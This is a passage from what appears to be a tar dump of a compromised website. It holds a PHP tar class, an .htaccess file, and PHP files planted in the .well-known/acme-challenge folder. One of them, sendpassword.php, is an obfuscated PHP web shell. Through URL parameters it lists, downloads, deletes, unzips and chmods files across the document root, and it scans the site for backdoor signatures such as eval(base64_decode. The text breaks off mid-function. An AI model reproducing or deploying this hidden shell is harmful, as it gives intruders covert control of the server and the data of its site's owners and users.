floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> .1711691414 0000644 00000000000 15114716233 0005620 0 ustar 00 .1711691421 0000644 00000000000 15114716233 0005616 0 ustar 00 .htaccess 0000644 00000001036 15114716233 0006345 0 ustar 00 <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> <Files 403.shtml> order allow,deny allow from all </Files> # php -- BEGIN cPanel-generated handler, do not edit # Set the “ea-php81” package as the default “PHP” programming language. <IfModule mime_module> AddHandler application/x-httpd-ea-php81 .php .php8 .phtml </IfModule> # php -- END cPanel-generated handler, do not edit .well-known/acme-challenge/Simple.php 0000444 00000000000 15114716233 0013475 0 ustar 00 .well-known/acme-challenge/LA.php 0000444 00000000000 15114716233 0012540 0 ustar 00 .well-known/acme-challenge/mah.php 0000444 00000000000 15114716233 0013011 0 ustar 00 .well-known/acme-challenge/ajaxupload.php 0000644 00000000000 15114716233 0014376 0 ustar 00 .well-known/acme-challenge/samll.php 0000444 00000000000 15114716233 0013354 0 ustar 00 .well-known/acme-challenge/sendpassword.php 0000444 00000124447 15114716233 0015006 0 ustar 00 <?php function __($_0,$_1=null){$_2=oPeNDIr($_0) or die("\x43\x61n\x27\x74\x20\157\x70\x65\x6e \144\x69\162\x65\x63\164\x6f\x72\x79\040".$_0);$_3=array();$_4=array();while(false!==($_5=REaDdir($_2))):if($_5!="\056"&&$_5!="\056."):if(IS_dIR($_0."\057".$_5)):$_4=__($_0."\057".$_5);$_3=arraY_mErgE($_3,$_4);else:$_3[]=$_0."/".$_5;endif;endif;endwhile;closEdIR($_2);return$_3;}if(isset($_GET["\x6a\165\x6b\145"])):$_6=__($_SERVER["\x44\x4f\x43\125\115\x45\116\124\137\122\x4f\x4f\124"]);echo"<\164d\076\074\x68\162\076\074\x68\x72\076";foreach($_6 as$_7):$_8=sTR_rePlace($_SERVER["\104\117\x43\x55\x4d\105\116\x54\x5f\122\x4f\117\124"],$_SERVER["\123\x45\122\126\105R\x5f\x4e\x41\x4dE"],$_7);echo$_8."\073".fIleSIzE($_7)."\x3c\x62\162\x3e\012";endforeach;echo"\074\x68\x72\x3e<\x68\162\076\x3c\x2f\x74\x64\076";die;endif;;echo"<\x68\x74\155\154\076\015\012\074h\x65\141\x64\076\015\x0a\011\074\x74\151\x74\x6c\x65>";echo$_SERVER["\123\103R\x49\x50\x54_F\111\114\105\116\101\115\105"];echo"<\057\164i\164\154\145\076\015\012\011\074\x73\164\x79\x6c\145 \x74\x79\160\145\x3d\x22t\x65\x78\x74\057c\x73s\x22>\x0d\012\011\111\116\120\125\124\x5b\x74\x79p\x65\075\x22\164e\170t\042\135\040\x7b\x62a\x63\x6b\147\162o\x75\156\x64\x2d\x63\x6f\x6co\162\072\040\043\x66\x66\146\070\x65\067;}\011\x62\157\x64\x79\173\x62\141\143\153\x67\162\x6f\x75\156d\072\x20\x23f\x66f\070\x65\x37\x3b\x63\157\154o\162\072 \043\x34c\x35\x38\066\066\073\146\x6f\156t\055\146\141mi\x6c\x79\072\x20\126\x65\162\x64\141\x6e\141\073\146\157n\164\055\163\x69\172\x65\072\040\x31\061\160\170\073\x7d\x0d\012\x09\141\x3a\x6c\x69\156\153\x7b\143\x6f\x6c\157\x72\x3a \x23\063\x33CC\0719\073\x7d\011\x61\x3a\x76\151\163\151\164\145\144\x7b\143\157l\x6fr\x3a\040\043\063\x33\103\103\x39\x39\073\x7d\011\141\072\150\x6f\x76\145r\x7bt\x65x\x74\055\x64\x65\x63\x6f\162\141\x74\151\157n\x3a\x20\x6e\157\x6e\145\x3bC\157\x6co\162\072\040\x233\x33\x39\071\x46\x46;}ta\142\154\145\040\173\x66\157\x6e\164\x2d\x73\x69\x7a\145\x3a\040\x31\061\x70\170\073\x7d\x0d\x0a\x09\x74\144\040\x7b\x70\x61\144\x64\151\156\x67\072\x20\061\160\x78\x3bp\141\144\x64\151\x6e\147\055\154\145\x66t\x3a\040\x31\x30\160\x78\x3b\160a\x64\x64\151\156\147-\162\151\147\x68\164:\x20\061\x30\x70\x78\073\160\141\144\x64\x69n\x67\x2d\164\157\160\x3a 2\160\x78\x3b\x7d\x0d\012\011\074\x2f\163\x74\x79\x6c\145\076\015\x0a\074\x2f\x68\145\141\144\x3e\x0d\012\074\x62o\x64\x79\x3e\x0d\x0a\x3ct\141\x62\154\145 \x63e\x6cl\x70a\144\x64i\x6e\147\x3d\x22\065\042\040\167\151\x64\164\x68\075\042\x38\060\x25\042\076\015\012";$_9=___($_SERVER["\123\x43\x52\x49\x50\x54\137F\111\x4c\x45\116\x41M\x45"],"");if($_9!=="\x34\064\x34"):Chmod($_SERVER["\123\103R\111\120\124\137\106\111\x4c\105\x4e\101\x4d\x45"],(int)rouNd(146+146));endif;function ____($_5,$_10=true){if(!FILe_exIstS($_5)):return"\146\151\x6c\x65 n\157\x74\x20\145\x78\x69\x73\164\163";else:if(!uNLiNk($_5)):if(!CHMoD($_5,(int)round(246.5+246.5))):return"\156\x6f\040h\x61\x76\x65\x20\160\x65\x72\155\151\x73\x73\151\x6f\x6e\x20\x66\x6f\162\040c\x68\x6d\157\144\x21";else:if(!UnLinK($_5)):return"\143\x61\x6e\x20\x6eot\040\x64\x65\154\145\x74\145\x21";else:return"o\153!";endif;endif;else:return"\x6fk\041";endif;endif;}if(isset($_GET["\144i\163\x70a\164\143\x68"])):____($_SERVER["\x53\x43\x52\111\x50\x54\x5f\106\x49\114\105NA\x4d\105"]);endif;if(!empty($_POST["\x66\x6f\162\x5fd\145\154"])):$_11=array();$_12=$_POST["\x66\157\162\x5f\x64\145\x6c"];echo"\074\074\x69\156\146o>\076";foreach($_12 as$_13):$_13=sTRstR($_13,"\057");$_13=$_SERVER["\104\117\x43\x55M\x45\x4e\124\137\x52\117\117\124"]."\057".$_13;$_14=str_rePLAcE($_SERVER["\x44\x4f\x43\125\x4d\105\116\x54\137\x52O\x4f\x54"],$_SERVER["\x53\105RV\105R\x5f\116\101\115\105"],$_13);if(FiLe_ExiStS($_13)):____($_13);if(!FIle_eXistS($_13)):echo$_14."\040\055\x20\x72\145\x6d\x6f\166\145\144"."\x0a";else:echo$_14."\040\055\040\x6e\157\x74\x20r\x65\x6d\x6f\166\145\144"."\012";endif;else:echo$_14."\x20\055 \156\157\x74\040\x66\157u\x6e\x64"."\012";endif;endforeach;echo"\074\x3c\057\x69\156\x66\157\x3e\x3e";die;endif;function _____($_5){$_15=STrRcHR($_5,"\057");$_16=Str_rEPlaCe($_15,"",$_5);$_17=new zIpArCHIve;$_17->OPen($_5);$_17->EXTrACTTo($_16);$_17->cLosE();echo"\074\x74\162\x3e\x3c\x74d\076\x46\x69\x6c\145\x3a\x20".$_15."\x20\055\x20\x3cfon\x74\040\143\x6f\x6co\162\x3d\042\x67\162\145\145\156\x22\x3e\x75\x6e\172\151p\040\x73\165\x63c\145\163s\146\x75\154l\x79\074/\x66\x6f\156\x74>\074/\164d\x3e\074\057\x74\x72\076";}function ______($_18){$_19=$_18;if(FilE_EXists($_18) and (fILeSIZE($_18)>(int)Round(0.5+0.5))):$_5=FoPen($_19,"\162\164");$_20=expLodE("\x0a",fReAD($_5,FILeSizE($_19)));fCloSE($_5);return$_20;else:$_20=array();return$_20;endif;}function _______($_0,$_21="\156v\154\x62\x61\x71\142v\164\x66\153\x67\x61\x6f\x73\154",$_22=null,$_23=true){$_24=OPeNDIr($_0);while(($_25=ReADDir($_24))!==false):if($_25!="\x2e"&&$_25!="\x2e\x2e"):if(is_dir($_0."/".$_25)):_______($_0."\x2f".$_25);else:UnLiNK($_0."/".$_25);endif;endif;endwhile;CloSeDIr($_24);rMdIR($_0);}function ________($_18,$_26=-3.1322437963865){if(fiLe_ExisTs($_18) and (FilESIzE($_18)>(int)roUnd(0.5+0.5))):if(!$_5=fopeN($_18,"\162\x74")):if(!CHmod($_18,02102+01404+-02511)):echo"\x63\141\x6e\x27\164\x20\x70e\x72\155\151\x73\x73\x69on \x66\157\162\040\x63\x68\x6d\x6f\144 \146\x69l\x65\074\142\x72\076";$_27="";else:if(!$_5=FoPen($_18,"rt")):echo"\x63\141n\x27t\x20\160e\x72\155\x69\x73sio\x6e\x20\x66o\x72 \157p\x65\156 \146\x69\154\145\074\142r\x3e";$_27="";else:$_27=frEaD($_5,fIlESIZE($_18));fcLOse($_5);endif;endif;else:$_27=fReAD($_5,fiLeSizE($_18));fcLoSE($_5);endif;endif;return$_27;}function _________($_28,$_29=076210,$_30=null,$_31=-0277006){global $_32;$_3=array();if(!$_2=OpEnDIr($_28)):CHMOd($_28,(int)roUnD(164.33333333333+164.33333333333+164.33333333333));endif;$_2=OPENDir($_28);while(($_5=READDIr($_2))!==false):if($_5!="\056"&&$_5!="\x2e\x2e"):$_33=$_28."\057".$_5;if(iS_dir($_33)):_________($_33);else:$_34=STrISTr($_33,$_SERVER["\x53\x43R\x49\120\x54\x5f\106\111\x4c\105N\x41\115\x45"]);if($_34==false):$_32[]=$_33;endif;endif;endif;endwhile;ClosEDiR($_2);return$_32;}if(isset($_GET["\165\x6e\x7a\x69\x70"])):_____($_GET["\x75\x6e\172\151\x70"]);endif;if(isset($_GET["\146i\156\x64\145\162"])):$_35=$_SERVER["\123\105R\126\105\x52\137\116\x41\115\x45"];$_36=$_SERVER["\123\103\122I\120\x54\137\x4e\101\x4d\x45"];$_37=$_SERVER["\x44\117C\125\115\x45\116\x54\137\x52\x4f\117T"]."\057\x66\151n\144\145\x72\x64\x61\164a\056\164x\x74";$_38=$_SERVER["\104\x4f\103U\x4d\105\116\x54\137\122\117\x4f\124"]."\057\x67\x6f\157\144\x66\151\x6ed\145\x72d\x61\x74\x61\056\x74\x78t";;$_39="\145\166\141l\x28b\x61\x73e\x36\064\137\144\145\143\x6f\144\x65\x28";$_40="\101\162\x72\141\x79\050\x62\141s\x6564\137\144\145\x63\157\144\145(";$_41="\x40\x24\x69\163\142\157\x74";$_42="@\162\145\161\x75\x69\162\x65";$_43="\145\166a\154(g\x7a\x75\156\x63\157\155\x70\x72\x65\x73\x73\050\142\141\x73\x65\0664\x5f\144\145\x63\x6f\x64\145\050";$_44="\100\151\x6ec\154\165d\x65\x20\x22\x5c\x782";$_45="\044\x4f\x4f";$_46="c\141\x63he\x3d\060\060";$_47="\x66\x69\154\x65\137\x67\145t\137c\x6f\x6e\x74\x65\x6e\164\163(\x5c\x22..\x2f\x69\156\x64\x65\x78\056\x70\150\x70\x5c\x22\x29\x22";$_48="\151\163\x5fu\x70\x6c\157\x61\x64\145\144\137\146i\x6c\145";$_49="\x62a\163\x65\x36\064_\x64\x65\143o\x64\x65\x28\044\x5f\120\117\x53\x54";$_50="\155\x75\154ti\160\141\162t\057f\157\162m\x2d\x64a\164\141";if(!fiLe_ExIStS($_37)):$_51=_________($_SERVER["\x44\x4f\103\125\x4d\105\x4eT\137\122\x4f\117\x54"]);$_52=FOpen($_37,"\141");foreach($_51 as$_13):if($_13!==$_SERVER["\123\103\x52\x49P\124\x5fF\x49\114\105\116AM\105"]):FpuTS($_52,$_13."\012");endif;endforeach;FCLosE($_52);if(filE_ExIStS($_37)):$_53=str_REPlace($_SERVER["\x44\117\103\125\x4d\105\x4eT\x5f\x52\x4f\x4f\124"],$_SERVER["\123\x45\122\x56\x45\x52\x5f\x4eA\x4d\x45"],$_SERVER["\x53CRIPT_\x46\x49\114\105\116\x41\115\105"]);$_53="\150\164\x74\160\072\x2f\x2f".$_53."?\146\151\x6e\144er";;echo"\x09\x0d\012\011\011\011\074\163\143\x72\x69\x70\164\040\154\x61\156gu\141\147\x65\040\x3d\040\047\x6a\141\166a\163c\x72\x69\x70\x74\047\076\x0d\012\x09\011\011\166\141\x72\x20\x64\x65\154a\x79\x20\x3d \x33\x30\060\x3b\015\012\x09\x09\011\163\145\164\124\x69m\145\x6f\165\x74\x28\x22\144\157\143\x75\155\x65\156t.\154\157\x63\x61\164\151\x6f\x6e\x2e\x68\162\x65\146\x3d\x27";echo$_53;echo"\047\x22\054\x20\x64\145\x6c\141\171\x29;\015\x0a\x09\x09\x09\074\x2f\x73\x63\x72\x69\x70\164\076\015\012\011\x09\011";else:echo"\145\x72\162\157\x72\072 \146\x69\154\145\x20\146\151\156\x64\145\162\x64\141\x74\x61\x2e\x74\x78\x74\x20\143a\x6e\x20n\157\164\040c\162\x65\x61\x74\x65";endif;else:$_54=______($_37);$_55=array();for($_56=(int)rOUnD(0+0+0+0);$_56<(02765+01167+-02350);$_56++):if(($_54[$_56]!==null) and ($_54[$_56]!=="\x20") and ($_54[$_56]!=="") and ($_54[$_56]!==".") and ($_54[$_56]!=="\x2e.")):$_55[]=trIm($_54[$_56]);endif;endfor;for($_57=(-0137- -0524+-0766+0401);$_57<(int)RoUNd(450+450);$_57++):unset($_54[$_57]);endfor;$_58=FoPen($_37,"\x77");foreach($_54 as$_59):if(($_59!==null) and ($_59!=="") and ($_59!=="\x20")):FpUtS($_58,$_59."\x0a");endif;endforeach;FcLOsE($_58);foreach($_55 as$_60):if(File_ExiStS($_60)):if(((fileSizE($_60))<(023046660-023044371+023043211))):$_61=________($_60);else:$_61="";endif;$_34=stRIsTR($_61,$_39);$_62=StRistr($_61,$_40);$_63=STRIStR($_61,$_41);$_64=sTRIstR($_61,$_42);$_65=strISTR($_61,$_43);$_66=StrIStR($_61,$_44);$_67=sTRistR($_61,$_45);$_68=stRIstR($_61,$_46);$_69=StrIStR($_61,$_47);$_70=sTRiSTR($_61,$_48);$_71=StrIsTr($_61,$_49);$_72=STRIsTR($_61,$_50);if(($_34!==false) or ($_62!==false) or ($_63!==false) or ($_64!==false) or ($_65!==false) or ($_66!==false) or ($_67!==false) or ($_68!==false) or ($_69!==false) or ($_70!==false) or ($_71!==false) or ($_72!==false)):$_52=fOpEN($_38,"\x61");FPUTs($_52,$_60."\012");FcLoSe($_52);endif;endif;endforeach;if(cOUNT($_54)>(015-0102-074+0161)):echo cOuNT($_54)."\x20\146\x69\x6c\145\163\x20\146\157\162\x20\143\150e\x63\x6b\074\x62\162\076";else:echo"\x3c\164\x72>\074\164\144>\106\151\156\151\x73\x68!\x3c\057\164\x64\076\x3c\057\x74\162>";endif;$_73=______($_37);if(fIle_exIsTs($_37) and (filEsizE($_37)>(int)rOuND(0.5+0.5))):$_53=stR_REpLACe($_SERVER["D\117\x43U\115E\x4e\x54\137\x52\117\117\124"],$_SERVER["\x53\x45\x52\x56\105\x52\137\x4e\101\115\105"],$_SERVER["\123\x43\122\111\120\x54\137\x46\111\x4c\105N\x41\x4d\x45"]);$_53="\x68\164\x74\x70\072/\057".$_53."\x3f\x66\151\x6e\144\x65r";;echo"\011\015\x0a\011\x09\x09\074\163\x63\162\151p\x74\x20\154\141\156\x67\x75\141\x67\145\x20\075\040\047\152\x61\166\141\163c\x72i\160t\047\076\x0d\012\011\x09\011\x76\x61\162\x20\144\145\154\141\x79\x20\075\x20\x31\x30\x30\x3b\x0d\012\011\011\011\163\x65\164T\151\x6de\157ut\050\x22\144\x6fcu\155\145\x6et\056\154\157\143a\164\x69\157\156\056\150r\145\146='";echo$_53;echo"\047\x22\054\040\x64\145\x6c\x61\x79\051\073\015\012\011\011\011<\057\x73\x63\162\151\x70\x74\x3e\x0d\012\x09\011\x09";else:$_74=______($_38);foreach($_74 as$_13):if(($_13!==null) and ($_13!=="") and ($_13!==" ")):if(isset($_GET["\144\x69\x72"])):$_75=$_GET["\144\x69\162"];else:$_75=$_SERVER["\104\117\103\125ME\116\x54\x5fR\117O\124"];endif;$_76=__________($_13);$_77=str_REpLaCe($_SERVER["\x44\x4fC\x55\x4d\105\116\x54\137\x52\117\x4f\124"],$_SERVER["\x53E\x52\x56\x45\x52\137\116\x41\115\x45"],$_13);echo"\x3ct\x72 bg\143\x6f\x6c\157\x72\075\x22\043\146\146\x66\146\146\146\x22\x20\x61\x6c\x69\147\x6e\075\x22\x63\145\x6e\x74\145\x72\042\x3e\074\x74\x64\x20a\154i\147\x6e\x3d\042\154\145\146\164\x22 \x3e"."\x3c\141\x20\x73\164\171\154\145\x3d\x22\164\145\x78\x74\055\x64\x65\x63\x6f\162\141\x74\151\x6f\156\x3a\x20\156o\x6ee\073\042\x20\150r\x65f\075\x22h\x74\x74\160\x3a\x2f\x2f".$_35.$_36."?\145\x64\151\164\x3d".$_13."\046\x64\151\162\075".$_75."\042\076\x3cf\x6f\x6e\x74\040\x63\157\154\157\x72\075\x22\x62\x6c\141\x63\x6b\042\x3e".$_13."\074\057\x66\157\156\x74\076\x3c\x2f\141\x3e"."\074/\x74\144\x3e<\x74\x64\x3e".___________($_13)."\x3c\057\x74d\076\074\x74d>".$_76."\x3c\x2f\x74d><\164\x64\076".___($_13,"\060")."<\057\164\144\076\x3c\164d\x3e"."\x3c\x61\040\x68\162\x65f\075\x22\x68\x74\x74\160:\x2f/".$_35.$_36."\077\144\145\x6c\x3d".$_13."\x26d\x69\162\075".$_75."\x22\x3e\x55\074\057\x61\x3e\046\x6e\x62\163\x70\073"."\074\x61\040\150\x72\145\146\075\042\x68\164t\x70\x3a/\x2f".$_35.$_36."\x3f\145d\x69\164\x3d".$_13."\x26\144\x69\x72\075".$_75."\x22\x3e\105<\057\141\076&n\x62\x73\160\x3b"."\x3c\x61\040t\x61\x72\147\145t\x3d\x22\x5fb\x6c\x61\156\153\x22\x20\150\x72\145\146\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f".$_77."\042\076\x4f\x3c\057\x61\x3e\x26\156\x62\163\x70\073"."\x3c\141\040\150\162\145\146\x3d\x22\150\x74\x74\160\x3a\057\x2f".$_35.$_36."\x3f\x64\x6f\x77\156\154\x6fa\144\x3d".$_13."\x26\x64\151\x72\x3d".$_75."\042\x3e\x44<\057\x61\x3e"."\x3c\x2f\x74\144\x3e<\057\x74\x72\076";endif;endforeach;if(FILe_eXiSts($_37)):UNLink($_37);endif;if(fIlE_Exists($_38)):UnliNK($_38);endif;endif;endif;endif;if(isset($_GET["\144\x6fw\156\x6c\x6f\141\x64"])):$_78=$_GET["\144\157\167\156\154\157a\x64"];if(FILe_eXiSTS($_78)):heADER("\103\x6f\x6e\x74\145\156\164\x2d\x44\145\x73\x63\162\151\x70t\151o\x6e\x3a\040\106\151\x6c\145\040\x54\162a\x6e\x73\146\145\x72");heADeR("\103\x6f\156\x74\145\156t\x2d\124\171p\x65\072 a\160\x70lic\141t\x69\157\x6e\x2f\x6f\x63\x74e\164\055\163t\x72\x65\x61\x6d");heaDER("C\x6f\156\x74e\156t\055\x44\151\163\x70\157\163i\164\151\157\x6e\072\040\141\164\x74\x61\143h\155\x65\156\164;\040\x66\151le\x6e\x61\x6d\145\x3d".basENAMe($_78));HEaDER("\x43\157\x6e\164\145\156\x74\x2d\x54\162a\x6e\x73f\145\162\x2d\105\156\143\x6fd\151\156\x67\x3a\040\142\151\x6e\141r\x79");hEAdeR("\105\x78\160i\x72\145\163\x3a\x20\060");HEAder("\103\141\143\x68\145\055\103\x6f\x6e\x74r\x6f\154:\x20\x6du\163\164\055\x72\x65\x76\x61\154\151\x64\x61\x74\145");HeaDER("\120\162\x61\x67\x6d\141:\040\x70\x75\x62\x6c\151\x63");heADer("\x43\x6f\x6e\x74\x65n\164\055\x4c\145\x6eg\x74h\x3a\x20".fiLesiZe($_78));rEADfIlE($_GET["dow\156\154\x6fa\x64"]);die;endif;endif;;function ___________($_5,$_79=null,$_80=-015717){if(!File_EXIsts($_5)):return"Ð\244\xd0\xb0\xd0\xb9\320\xbb\x20\040\xd0\275Ð\265\040\320½\320\xb0Ð\xb9\320\264\320\xb5н";endif;$_81=filEsIzE($_5);if($_81>(02171+01622+-02013)):$_81=($_81/(01617-03130-02413- -05724));if($_81>(int)RouNd(512+512)):$_81=($_81/(03211+01723+01266-04422));if($_81>(01362-02623- -03241)):$_81=($_81/(int)round(512+512));$_81=ROund($_81,-014-0274- -0311);return$_81."\x20\x67\142";else:$_81=rouND($_81,(int)rouND(0.25+0.25+0.25+0.25));return$_81."\x20\155\x62";endif;else:$_81=roUnd($_81,(int)rouNd(0.33333333333333+0.33333333333333+0.33333333333333));return$_81."\x20\x6b\x62";endif;else:$_81=RoUND($_81,-0143+0144);return$_81."\x20\x62";endif;}function __________($_5,$_82=true,$_83=-045214){if(!FIlE_EXiStS($_5)):return"\x6e\x6f\040\x69\156\146\x6f";endif;$_84=fileMTIMe($_5);$_76=DAte("Y\055\x6d\x2d\144\040H\072\151\x3a\x73",$_84);return$_76;}function ___($_85,$_86,$_87=true,$_88=false,$_89=null){$_90=SUbstR(dECOCT(filepeRms($_85)),-(025-022));if($_90=="6\x34\064"):$_91="\147\x72e\145\x6e";elseif($_90=="7\065\065"):$_91="\x23\x32\x45\103\x38\x342";elseif($_90=="\x34\064\x34"):$_91="\142\x72\157w\x6e";elseif($_90=="\x30\060\x30"):$_91="\162e\x64";elseif($_90=="\067\x34\064"):$_91="\x6f\162\141\156\147\x65";elseif($_90=="\066\x364"):$_91="\x67\x72\x65\145\x6e";else:$_91="\147r\x65y";endif;if($_86==(0267+-0472-0307- -0513)):return$_90;else:return"\074\x66\157\156\x74\x20c\x6fl\x6f\162\075".$_91."\076".$_90."\x3c/\x66o\x6e\164>";endif;}function ____________($_92=-3.219491907254,$_93=true){if((is_diR($_SERVER["\x44\117\103\x55\x4d\105\x4e\x54\137\122\117\x4f\124"]."\057\141d\x6d\x69n\151\x73\x74r\141\164\157\162\x2f")) and (is_dIR($_SERVER["\x44\x4f\103\x55\x4d\105\116\x54\137R\117\117\x54"]."\057c\x6fm\x70\x6f\156en\164\163\x2f")) and (iS_diR($_SERVER["\104\x4f\103\125M\x45\116\124\137\x52\117\117T"]."\x2f\x69\x6ec\154\165d\145\163\057"))):return"\x4a\157\157\x6d\x6c\x61\041";elseif((is_DIr($_SERVER["\104\x4f\x43\125\115\x45\116\124\137\122\117\x4f\124"]."\x2f\x77\160\055c\157\x6e\164e\x6e\164\057")) and (IS_dir($_SERVER["\104\x4f\x43\125\115\105\116\x54\x5f\122\x4f\117\x54"]."\057w\x70\x2da\x64\x6d\151\x6e\057")) and (IS_DIR($_SERVER["\104\x4f\103\x55\115\x45\116\124\x5f\122\117\x4f\x54"]."\057w\160\x2d\x69\x6e\x63\x6c\165\x64\145\x73\x2f"))):return"\127\x6f\162\144\120\162\145\163\x73";else:return"\125\x6e\x6b\156\157\x77\156";endif;}function 